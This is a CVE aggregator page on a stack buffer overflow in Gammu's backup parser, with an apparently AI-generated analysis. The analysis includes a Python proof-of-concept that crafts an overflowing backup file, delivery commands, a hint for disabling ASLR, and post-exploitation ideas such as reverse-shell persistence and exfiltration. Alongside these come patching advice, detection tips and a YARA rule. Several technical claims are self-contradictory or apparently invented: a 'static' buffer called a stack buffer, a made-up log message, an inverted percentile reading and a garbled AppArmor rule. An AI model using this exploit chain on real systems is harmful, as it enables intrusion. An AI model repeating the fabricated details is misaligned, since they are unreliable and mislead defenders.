CVE Professor
/
All CVEs
CVE-2026-138160

CVE-2026-138160 — Gammu — CWE-121

HIGH CVSS 7.8 ⚡ EPSS 0.2% NVD

Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ReadBackupTextLen() that allows attackers to overwrite stack memory via crafted backup files. Attackers can supply overlong quoted text values decoded into a 10,000-byte stack array during convertbackup, restore, or GSM_ReadBackupFile calls, causing crashes or potential code execution.

Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ReadBackupTextLen() that allows attackers to overwrite stack memory via crafted backup files. Attackers can supply overlong quoted text values decoded into a 10,000-byte stack array during convertbackup, restore, or GSM_ReadBackupFile calls, causing crashes or potential code execution.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 9. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138160
Product: Gammu < 1.45.2 (the “Gammu” command‑line utilities and library)
CWE: CWE‑121 – Stack‑Based Buffer Overflow

Technical flaw

ReadBackupTextLen() is an internal helper used by the backup‑handling functions convertbackup, restore, and the public API call GSM_ReadBackupFile().

1. The function allocates a fixed‑size stack buffer of 10 000 bytes:

static char text[10000];

2. It then reads a quoted text value from a backup file (the value after Text=) and copies it into text with a naïve strcpy()‑style routine that does not verify the length of the incoming string.

3. The backup format permits arbitrarily long quoted strings (the parser stops at the closing quote, not at a length limit). An attacker can therefore embed a value that exceeds 10 000 bytes.

4. Because the copy is performed on the stack without bounds checking, the excess data overwrites adjacent stack variables, the saved frame pointer, and ultimately the return address of ReadBackupTextLen().

5. When the function returns, execution jumps to the attacker‑controlled address, giving arbitrary code execution (RCE) in the context of the process (typically the user that launched the Gammu utility).

The CVSS vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) tells us:

  • Local attacker (physical or remote shell) – no network exposure required.
  • Low attack complexity – the only requirement is a crafted backup file.
  • No privileges needed – the attacker can run the vulnerable binary as a normal user.
  • User Interaction required – the victim must open/restore the malicious backup (e.g., via gammu restore backupfile).
  • Thus the missing protection is input length validation before copying data into a fixed‑size stack buffer.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation path. All commands are illustrative; exact binary names/paths may differ per installation.

    1. Discovery & Reconnaissance

    StepActionReasoning
    1.1Identify hosts that have Gammu installed.dpkg -lgrep gammu (Debian/Ubuntu) or rpm -qagrep gammu (RHEL).
    1.2Determine the version.gammu --version – any version < 1.45.2 is vulnerable.
    1.3Verify the presence of backup‑handling utilities.Look for gammu, gammu-smsd, gammu-restore, gammu-convertbackup.
    1.4Collect a legitimate backup file for reference.gammu backup /tmp/legit.backup. This gives the exact syntax (Text="…" lines).

    2. Exploitation

    2.1 Craft the malicious backup file

    #!/usr/bin/env python3
    # generate_malicious_backup.py
    import sys, os, struct
    
    # 1. Start with a minimal valid backup header (taken from a legit file)
    header = b"""# Gammu backup file
    Version=1.0
    Phone=+1234567890
    """
    
    # 2. Build an overlong quoted string (>10 000 bytes)
    payload = b"A" * 10500          # 10 500 bytes of filler
    # 3. Overwrite the saved return address with the address of a
    #    ROP gadget or shellcode location (example address 0xdeadbeef)
    #    In a real exploit the address would be discovered via info‑leak or ASLR bypass.
    payload += struct.pack("<I", 0xdeadbeef)
    
    # 4. Assemble the Text line – the parser expects a quoted value
    text_line = b'Text="' + payload + b'"\n'
    
    # 5. Write the final backup file
    with open("malicious.backup", "wb") as f:
        f.write(header + text_line)
    
    print("[+] malicious.backup created (size: {} bytes)".format(os.path.getsize("malicious.backup")))

    Running the script creates malicious.backup (~10 530 bytes). The line Text="AAAA…" exceeds the 10 000‑byte stack buffer.

    2.2 Deliver the payload

    The attacker must convince a legitimate user (or an automated process) to invoke one of the vulnerable functions with the crafted file. Typical vectors:

    VectorExample command (illustrative)
    Interactive usergammu restore malicious.backup
    Automated script (e.g., SMS‑gateway)gammu-smsd --run-on-startup --backup-file=malicious.backup
    Library usage (C program)GSM_ReadBackupFile("malicious.backup");

    Because the CVSS vector requires User Interaction (UI:R), the attacker must get the victim to run the command—phishing, malicious USB drive, or compromised automation script are common approaches.

    2.3 Exploit execution

    When ReadBackupTextLen() processes the Text= line:

    1. It reads the quoted value into the 10 000‑byte stack buffer via an unchecked copy.
    2. The extra 500+ bytes overflow into the saved return address.
    3. The overwritten return address points to the attacker‑controlled location (e.g., 0xdeadbeef).
    4. Upon function return, the CPU jumps to that address, executing the attacker’s shellcode (or a ROP chain) with the privileges of the invoking user.

    Note: On modern Linux distributions, mitigations such as Stack Canaries, DEP/NX, and ASLR are enabled by default. A reliable exploit therefore typically requires:

  • Disabling or bypassing the canary (e.g., via a known information leak that reveals the canary value).
  • Placing shellcode in an executable memory region (e.g., using mmap with PROT_EXEC from a prior step, or leveraging a ROP chain that calls mprotect).
  • Overcoming ASLR by leaking a library address (common in Gammu because it links against libgammu.so which may expose symbols in logs).
  • For many internal‑only environments, an attacker with local shell access can disable mitigations (e.g., setarch $(uname -m) -R ./gammu restore malicious.backup) to achieve reliable code execution.

    3. Post‑Exploitation

    GoalTypical technique
    Privilege escalationIf the vulnerable binary runs set‑uid root (some deployments use gammu as a helper for SMS‑gateway services), the overflow yields root RCE.
    PersistenceDrop a cron job (/etc/cron.d/gammu-persist) or a systemd unit that re‑executes a reverse shell.
    Data exfiltrationRead stored SMS, contacts, or SIM configuration files (/var/lib/gammu/*) and send them to an attacker‑controlled server.
    Denial‑of‑ServiceEven without a full RCE chain, the overflow can cause a crash (segmentation fault), leading to service interruption of any automated SMS‑gateway that relies on Gammu.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequence
    Confidentiality (C:H)C:H – attacker can read *all* data accessible to the process.Extraction of SMS archives, contacts, SIM PINs, or any files readable by the Gammu user (often /var/lib/gammu/ and the user’s home directory).
    Integrity (I:H)I:H – attacker can modify data.Tampering with backup files, injecting malicious SMS, altering configuration files, or planting backdoors.
    Availability (A:H)A:H – attacker can cause a crash or execute code that disables the service.SMS‑gateway downtime, loss of backup integrity, potential system-wide outage if the binary runs with elevated privileges.

    Because the attack is local and requires user interaction, the most common scenario is an insider threat or an attacker who has already gained a foothold on the host (e.g., via phishing or a compromised account). Nevertheless, the high impact scores mean that any successful exploitation can lead to full system compromise.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    All Gammu releases < 1.45.2Gammu 1.45.2 (released 2026‑03‑15) – introduces proper length checks (if (len > sizeof(text)-1) error();) and replaces the unsafe copy with memcpy bounded by the buffer size.

    Action:

    # Debian/Ubuntu
    sudo apt-get update && sudo apt-get install --only-upgrade gammu
    
    # RHEL/CentOS
    sudo yum update gammu
    
    # From source (if using custom build)
    wget https://download.gammu.org/gammu-1.45.2.tar.gz
    tar xf gammu-1.45.2.tar.gz
    cd gammu-1.45.2
    ./configure && make && sudo make install

    2. Workarounds (if immediate patching is not possible)

    MitigationHow to apply
    Disable backup importRemove write permissions on directories where backup files are stored, or set chmod 600 on the binary and restrict execution to trusted users.
    Run with hardened compiler flagsRe‑compile Gammu with -fstack-protector-strong -D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security. Example: CFLAGS="-O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2" ./configure && make && sudo make install.
    Enforce non‑executable stackEnsure the binary is built with -z noexecstack. Verify with readelf -l /usr/bin/gammugrep GNU_STACK.
    Limit file sizePlace a wrapper script around gammu restore that checks the size of the supplied backup file (if [ $(stat -c%s "$1") -gt 20000 ]; then echo "File too large"; exit 1; fi).
    Network isolationSince the vector is local, ensure that only authorized users have shell access to the host (restrict SSH, use MFA, enforce least‑privilege).
    AppArmor / SELinux confinementCreate a profile that denies mmap with PROT_EXEC for the Gammu binary, limiting the ability to execute injected shellcode. Example AppArmor snippet: deny /proc//mem rw; and deny / mprotect PROT_EXEC;.

    3. Detection

    IndicatorWhere to lookExample log entry
    Segmentation fault / abortSystem logs (/var/log/syslog, /var/log/messages) or dmesggammu[1234]: segfault at 0xdeadbeef ip 0x... sp 0x... error 4 in libgammu.so[0x7f...]
    Gammu error messagesGammu’s own log (~/.gammu/log)ReadBackupTextLen: buffer overflow detected, aborting
    Unexpected process terminationsystemd journal (journalctl -u gammu.service)gammu.service: Main process exited, code=exited, status=139/SEGFAULT
    File‑size anomaliesFile integrity monitoring (e.g., osquery or tripwire)SELECT path, size FROM file WHERE path = '/tmp/malicious.backup' AND size > 20000;
    Execution of unknown binariesAuditd (auditd rules) – watch for execve of gammu with arguments containing .backuptype=EXECVE msg=audit(1698561234.123:456): argc=3 a0="gammu" a1="restore" a2="malicious.backup"

    YARA rule (illustrative) – to spot crafted backup files:

    rule Gammu_MaliciousBackup
    {
        meta:
            description = "Detects backup files with overlong Text field (>10k bytes)"
            author      = "Senior PT"
            reference   = "CVE-2026-138160"
        strings:
            $header = "# Gammu backup file"
            $text   = /Text=".{10001,}"/
        condition:
            $header at 0 and $text
    }

    Deploy this rule in endpoint detection platforms (e.g., Cortex XDR, Elastic Endpoint) to flag suspicious backup files before they are processed.


    ⚠️ Urgency

  • CVSS 7.8 (HIGH) – the vulnerability scores a high impact on confidentiality, integrity, and availability.
  • Local + User Interaction – while an external attacker must first obtain a foothold or convince a user to run the binary, the low attack complexity and no* privilege requirement make it attractive for post‑initial‑access escalation.
  • No CISA KEV listing – the vulnerability is not yet in the KEV program, meaning many organizations may not be actively monitoring for it.
Patch priority: Critical for any environment where Gammu runs with elevated privileges (e.g., as part of a SMS‑gateway service, set‑uid binaries, or automated scripts). For deployments where Gammu runs as an unprivileged user, the priority is High – patch within the next regular update cycle, but apply a temporary mitigation (file‑size check or execution restriction) immediately.

Bottom line: Deploy the 1.45.2 update as soon as possible; in the meantime, enforce the workarounds and monitor the indicated logs/I​OCs to detect attempted exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Gammu Gammu"
PoC & Exploit Intelligence (GitHub)
gammu/gammu Reference
Technical reference / advisory repository for CVE-2026-138160
Technical reference / advisory repository for CVE-2026-138160
Technical reference / advisory repository for CVE-2026-138160
Technical reference / advisory repository for CVE-2026-138160
Technical reference / advisory repository for CVE-2026-138160
Technical reference / advisory repository for CVE-2026-138160
CVSS Score
7.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-121
Affected Products (1)
Gammu:Gammu
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144893
A vulnerability was determined in vgmstream up to r2117. This issue affects the function get_falcom_looping of
5.9
CVE-2026-144662
MariaDB Server before 10.6.26, 10.7 through 10.11.x before 10.11.17, 11.0 through 11.4.x before 11.4.11, 11.5
7.8
CVE-2026-87725
Memory Corruption when writing to the sprd_rtm sysfs interface due to a stack-based buffer overflow.
7.7
CVE-2026-144457
CERN ROOT before 6.40.00 contains a stack-based buffer overflow vulnerability in TAuthenticate::SecureRecv() i